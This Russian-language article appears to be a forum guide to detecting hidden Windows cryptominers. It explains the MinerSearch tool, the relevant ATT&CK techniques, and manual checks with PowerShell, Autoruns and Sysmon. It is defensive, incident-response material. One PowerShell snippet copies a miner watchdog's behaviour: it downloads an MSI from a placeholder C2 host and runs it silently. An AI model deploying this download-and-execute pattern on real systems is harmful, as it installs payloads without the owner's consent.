На прошлом инциденте мы полтора часа искали причину аномальной нагрузки на сервере терминалов: CPU держался на 87% при пустых RDP-сессиях. Process Explorer показал процесс
conhost.exe, запущенный из
C:\ProgramData\Microsoft\Crypto\ - директории, где настоящий conhost никогда не появляется. XMRig, замаскированный под системный процесс, тихо майнил через порт 3333. Endpoint-антивирус молчал три недели - майнер использовал process hollowing и в сигнатурную базу не попадал. Именно такие кейсы делают специализированный инструмент MinerSearch полезным: он ищет не «вирусы вообще», а конкретные паттерны поведения криптомайнеров. Разберём, как MinerSearch обнаруживает скрытые майнеры изнутри, какие техники используют злоумышленники, и что делать руками, когда автоматика буксует.
Бизнес-логика скрытого майнинга: зачем это злоумышленнику
Скрытый майнер - одна из самых «тихих» угроз. В отличие от шифровальщика, который заявляет о себе сразу, криптомайнер генерирует стабильный пассивный доход месяцами. Схема простая: заразить максимум машин, добывать Monero (XMR) через пулы, минимизировать шум.
Финансовый импакт для жертвы далеко не символический. На серверах - рост счетов за электроэнергию и деградация SLA. На терминальных серверах - жалобы пользователей на тормоза. На рабочих станциях - ускоренный износ GPU и блоков питания. Отдельные семейства (например, Smominru) совмещают майнинг с DDoS и проксированием трафика, превращая машину в часть ботнет-инфраструктуры.
Типичная цепочка атаки (kill chain) скрытого майнера на Windows:
- Initial Access - фишинг, пиратское ПО, эксплуатация уязвимости в публичном сервисе (Exploit Public-Facing Application, T1190)
- Execution - запуск загрузчика через PowerShell, cmd или Windows Installer (MSI)
- Persistence - создание службы, задачи в планировщике (Scheduled Task, T1053.005), запись в Run-ключи реестра
- Defense Evasion - маскировка под системный процесс (Masquerading, T1036), обфускация (Deobfuscate/Decode Files or Information, T1140), process injection в svchost.exe
- Discovery - поиск конкурирующих майнеров через сетевые соединения (System Network Connections Discovery, T1049)
- Impact - запуск XMRig / lolMiner и подключение к пулу
MinerSearch работает на этапах 3–5: проверяет следы закрепления, ищет замаскированные процессы и файлы, анализирует точки автозагрузки.
Как скрытый майнер закрепляется в Windows: техники по MITRE ATT&CK
Masquerading - маскировка под системные процессы (T1036)
Самая распространённая техника - переименование бинаря майнера в
svchost.exe,
conhost.exe,
csrss.exe и размещение в нестандартных директориях. Настоящий
svchost.exe запускается только из
C:\Windows\System32\, и его родительский процесс -
services.exe. Любое отклонение - красный флаг.
[Применимо: Windows 10/11, внутренний пентест / IR]
По данным Trend Micro, семейство Coinminer.Win32.MALXMR использует Windows Installer (MSI) для доставки и размещает файлы в
%AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server. После установки создаются три процесса svchost.exe для инъекции вредоносного кода: два работают как watchdog (перезагружают майнер при завершении), третий выполняет майнинг. Это усложняет удаление: убьёшь один процесс - watchdog поднимет его за секунды.
В каталоге LOLBAS несколько легитимных Windows-утилит годятся для masquerading - например,
Diantz.exe и
Makecab.exe (оба помечены для T1036). В Atomic Red Team есть готовый тест «System File Copied to Unusual Location» (PowerShell, Windows): он копирует системный файл в нестандартный каталог, воспроизводя именно то поведение, которое ищет MinerSearch при сканировании файловой системы.
Контрмеры по D3FEND: File Analysis (D3-FA), File Integrity Monitoring (D3-FIM) и Dynamic Analysis (D3-DA) - все три нацелены на обнаружение маскировки исполняемых файлов.
Обфускация и доставка полезной нагрузки (T1140)
Майнеры доставляются в закодированном виде. На Windows для декодирования нередко используется
[URL='https://lolbas-project.github.io/lolbas/Binaries/Certutil/']certutil.exe -decode[/URL] - штатная утилита для работы с сертификатами, внесённая в каталог LOLBAS как инструмент для Deobfuscate/Decode Files or Information (T1140). В случае Coinminer.Win32.MALXMR вредонос маскировал ZIP-архив под файл иконки (
icon.ico), а внутри лежал загрузчик (
default.ocx) и зашифрованный майнинг-модуль (
default.bin).
Watchdog-процессы используют PowerShell для повторной загрузки MSI-файла при обнаружении завершения майнера:
Код:
# Воспроизведение паттерна из отчёта Trend Micro (пример для демонстрации концепции)
$cli = New-Object System.Net.WebClient
$cli.Headers['User-Agent'] = 'Windows Installer'
$f = "$env:TEMP\payload.msi"
$cli.DownloadFile('https://<C2-server>/update.txt', $f)
Start-Process $f -ArgumentList '/q'
Детект этого паттерна возможен через Sigma-правило
proc_creation_win_powershell_base64_frombase64string.yml из SigmaHQ - оно отлавливает использование
FromBase64String в аргументах PowerShell. Правило
proc_creation_win_certutil_susp_execution.yml ловит подозрительные вызовы certutil.
Закрепление: службы и планировщик задач
[Применимо: Windows 10/11, IR / threat hunting]
На Windows майнеры закрепляются через три основных вектора:
- Scheduled Tasks (T1053.005) - задачи в планировщике с запуском бинаря из нестандартных путей (
%TEMP%, %AppData%)
- Службы Windows - регистрация службы без валидной цифровой подписи
- Run-ключи реестра -
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run и аналогичные ветки
MinerSearch проверяет все три вектора. Для служб применяется верификация цифровой подписи: нет подписи или невалидна - служба помечается как подозрительная. Тут есть нюанс: редкие легитимные службы тоже бывают без подписи. Поэтому MinerSearch разделяет результаты на «удалено» (совпадение сигнатуры) и «карантин» (подозрение) - чтобы можно было восстановить ложные срабатывания.
Криптомайнеры на Linux используют другие механизмы закрепления - в частности, cron jobs. Техника T1053.003 (Cron) применима исключительно к Linux/macOS. Исследование Red Canary по группировке Rocke показывает, как злоумышленники размещают скрипты в
/etc/cron.hourly/,
/etc/cron.daily/ и напрямую редактируют файлы crontab. MinerSearch к Linux неприменим - это исключительно Windows-инструмент.
MinerSearch - бесплатная утилита на GitHub (BlendLog/MinerSearch), написанная на .NET. Проект обсуждается на профильных площадках: SafeZone.cc, remontka.pro, Codeby. Разработчик присутствует в Telegram и принимает обратную связь через GitHub Issues. Последние релизы распространяются без пароля на архив - проект живой и поддерживается.
Требования к окружению
- ОС: Windows 10 / Windows 11 (Windows 7/8 - с ограничениями)
- .NET Framework: версия 4.7.1 или новее (предустановлен в Windows 10/11)
- Привилегии: запуск строго от имени администратора
- Режим: обычная загрузка Windows (НЕ безопасный режим)
- RAM: работает на машинах от 2 ГБ, дополнительных ресурсов не требует
- Антивирус: Microsoft Defender, Kaspersky Endpoint Security и другие могут заблокировать MinerSearch - утилита вносит изменения в реестр и файловую систему. Решение: временно добавить в исключения (под ответственность аналитика)
- Сеть: не требуется - полностью офлайн-сканирование
Этапы сканирования - что происходит под капотом
- Руткит-проверка. Поиск руткитов уровня ядра, способных скрывать процессы из диспетчера задач. Если руткит сидит в системе - все остальные проверки бессмысленны, майнер просто не будет виден.
- Анализ запущенных процессов. Проверка активных процессов на masquerading: несовпадение имени и пути к бинарю, запуск из нехарактерных директорий. Подозрительные процессы принудительно завершаются.
- Сканирование файловой системы. Обход типичных директорий размещения майнеров:
%TEMP%, %AppData%, C:\ProgramData. Файлы сопоставляются с сигнатурами XMRig, lolMiner, PhoenixMiner и других известных майнеров.
- Анализ реестра. Проверка Run-ключей и других точек автозагрузки.
- Проверка планировщика задач. Поиск задач с путём к бинарю из нестандартных директорий.
- Проверка служб. Верификация цифровых подписей. Без валидной подписи - служба помечается как подозрительная.
- Сигнатурное сканирование. Полный обход исполняемых файлов на системном диске.
Результат каждого этапа отображается в консоли: «No threats found» или «Found threats: N». Подробный лог сохраняется в
C:\_MinerSearch_Logs\.
Параметры для точечных проверок
Для blue team часто нужна возможность провести сканирование без автоматического лечения - сначала изучить отчёт, потом принять решение. MinerSearch поддерживает гранулярное управление через флаги:
--no-rootkit-check,
--no-runtime,
--no-services,
--no-signature-scan. Можно комбинировать в любом порядке, регистр не важен.
Файлы, определённые как подозрительные (но не подтверждённые сигнатурами), помещаются в папку
minersearch_quarantine рядом с исполняемым файлом. Вредоносные файлы (совпадение по сигнатуре) удаляются без запроса. После завершения сканирования обязательно проверьте карантин - туда может попасть легитимное ПО без подписи.
Ручное обнаружение криптомайнера: пошаговый чеклист
MinerSearch - хороший первый шаг, но опытному аналитику нужно уметь находить майнер руками. Алгоритм ниже не зависит от конкретного инструмента.
Шаг 1: анализ процессов. Открываем Process Explorer (Sysinternals) и сортируем по CPU. Ищем: процессы с загрузкой >50% без видимой причины,
svchost.exe без родительского
services.exe, исполняемые файлы из
%TEMP% и
%AppData%, процессы без поля Company Name. Быстрая проверка в PowerShell:
Код:
# Поиск svchost.exe вне System32 (masquerading)
Get-Process svchost -ErrorAction SilentlyContinue |
Where-Object {$_.Path -notlike "*System32*"} |
Select-Object Id, Path, CPU
# Поиск соединений с типичными портами майнинг-пулов
Get-NetTCPConnection -State Established |
Where-Object {$_.RemotePort -in 3333,4444,5555,14444,14433} |
Select-Object OwningProcess, RemoteAddress, RemotePort
Если первая команда возвращает непустой результат - это аномалия: легитимный svchost.exe запускается только из
C:\Windows\System32\. Если вторая нашла соединения - определите PID через
Get-Process -Id <PID> | Select-Object Path и проверьте бинарь.
Шаг 2: проверка автозагрузки. Запускаем Autoruns (Sysinternals) и смотрим: записи без цифровой подписи (подсвечены жёлтым), задачи планировщика с путём к бинарю вне
C:\Windows\ и
C:\Program Files\, службы с
ImagePath в нестандартных директориях.
Шаг 3: Sysmon и Windows Event Log. Если Sysmon установлен (а для SOC это must-have), проверяем три типа событий. Event ID 1 (Process Create) - ищем создание процессов из временных директорий с аргументами, содержащими
--config,
--url,
stratum+tcp://. Event ID 3 (Network Connection) - соединения на порты пулов (3333, 4444, 5555). Event ID 7 (Image Loaded) - загрузка DLL из нестандартных путей в svchost.exe.
Без Sysmon анализ сильно ограничен: стандартные журналы Windows не логируют command line процессов и сетевые соединения с достаточной детализацией. В SigmaHQ есть готовые правила для детекта:
posh_pm_susp_get_nettcpconnection.yml для мониторинга подозрительных вызовов
Get-NetTCPConnection, а правило
proc_creation_win_net_use_network_connections_discovery.yml отслеживает разведку сетевых соединений.
Шаг 4: повторная проверка после перезагрузки. Если майнер найден и удалён - перезагрузите машину и повторите шаги 1–2. Watchdog-механизмы могут восстановить майнер из резервной копии или повторно скачать его с C2-сервера.
Ограничения MinerSearch и когда его недостаточно
- Только Windows. Linux-серверы, где криптомайнеры тоже распространены (особенно через уязвимости в Redis, Weblogic, Apache Struts - Exploit Public-Facing Application, T1190), MinerSearch не покрывает. Для Linux нужны другие инструменты:
rkhunter, chkrootkit, ручной анализ cron jobs и /proc.
- Сигнатурная база ограничена. Новые или модифицированные варианты майнеров, не попавшие в базу, могут пролететь мимо. MinerSearch дополняет сигнатурный подход поведенческими проверками (пути, подписи, руткиты), но полноценный EDR не заменяет. Для enterprise-уровня детекта криптомайнеров существуют ML-подходы - например, Sysdig описывает модель классификации на основе runtime-анализа syscalls с акцентом на минимизацию false positives.
- Ложные срабатывания. Корпоративные службы без цифровой подписи могут быть остановлены. Всегда изучайте лог и проверяйте карантин перед продакшн-использованием.
- Не детектирует веб-майнеры. Криптоджекинг через JavaScript (бывший CoinHive и аналоги) - вне зоны действия MinerSearch.
- Не масштабируется. Это утилита для одной машины. Для проверки парка хостов нужен Velociraptor, SCCM с custom-скриптами или EDR с правилами детекта.
- Антивирус может заблокировать MinerSearch. На заражённой машине майнер может дополнительно блокировать скачивание утилит безопасности - по данным remontka.pro, в таком случае помогает AV Block Remover или загрузка с Kaspersky Rescue Disk.
Чем MinerSearch отличается от антивирусных сканеров
| Критерий | MinerSearch | Kaspersky Virus Removal Tool | Dr.Web CureIt! | Malwarebytes |
|---|
| Специализация | Только майнеры | Все типы угроз | Все типы угроз | Все типы угроз |
| Руткит-проверка | Да | Да | Да | Частично |
| Проверка служб по подписи | Да | Нет | Нет | Нет |
| Очистка реестра от артефактов | Да | Нет | Нет | Частично |
| Проверка планировщика задач | Да | Нет | Нет | Нет |
| Сигнатурная база | Узкая (майнеры) | Широкая | Широкая | Широкая |
| Офлайн-работа | Да | Да | Да | Нет |
| Стоимость | Бесплатно | Бесплатно | Бесплатно | Freemium |
| Enterprise-масштабирование | Нет | Нет | Нет | Через консоль |
Когда использовать MinerSearch: подозрение именно на криптомайнер, антивирус не справляется, нужна глубокая проверка механизмов закрепления (реестр, службы, планировщик).
Когда MinerSearch недостаточно: заражение комплексным вредоносом (шифровальщик + майнер), нужно проверить десятки хостов, Linux-среда, нужна ML-детекция неизвестных семейств.
Готовый чеклист для SOC: поиск скрытого майнера
Нумерованный список для включения в IR-playbook:
- Проверить загрузку CPU/GPU в диспетчере задач - аномалия >50% при простое
- Запустить проверку masquerading:
Get-Process svchost | Where-Object {$_.Path -notlike "[I]System32[/I]"}
- Проверить сетевые соединения с пулами на портах 3333, 4444, 5555, 14444
- Запустить Autoruns - проверить автозагрузку, службы без подписи, задачи планировщика
- Скачать MinerSearch с GitHub (BlendLog/MinerSearch), запустить от имени администратора
- Изучить лог в
C:\_MinerSearch_Logs\ - записи с пометкой «Found threats»
- Проверить карантин
minersearch_quarantine - исключить ложные срабатывания
- Перезагрузить машину и повторить шаги 1–3 - убедиться, что watchdog не восстановил майнер
- Проверить Sysmon (Event ID 1, 3, 7) за последние 30 дней - определить момент первичного заражения
- Запустить KVRT или Dr.Web CureIt! для поиска сопутствующего вредоносного ПО
Большинство гайдов по удалению майнеров сводятся к формуле «скачай, запусти, перезагрузись». На практике я раз за разом вижу одну и ту же картину: аналитик запускает сканер, получает зелёный отчёт, а через неделю загрузка CPU снова на 90%. Проблема не в инструменте - проблема в том, что никто не ищет вектор первичного заражения. MinerSearch отлично находит и убивает процесс, чистит реестр и отключает службу, но если точка входа - открытый RDP, непатченный сервис, пользователь с правами локального админа - остаётся нетронутой, повторное заражение вопрос дней. На каждом разборе инцидента с криптомайнером я начинаю с вопроса «как он попал?» и только потом перехожу к «как его убрать». Без ответа на первый вопрос MinerSearch - обезболивающее, а не лечение. Если интересно, как другие команды строят детект и расследуют криптомайнеры - на форуме codeby.net разбираем подобные кейсы с IoC и Sigma-правилами.
Комментарии
1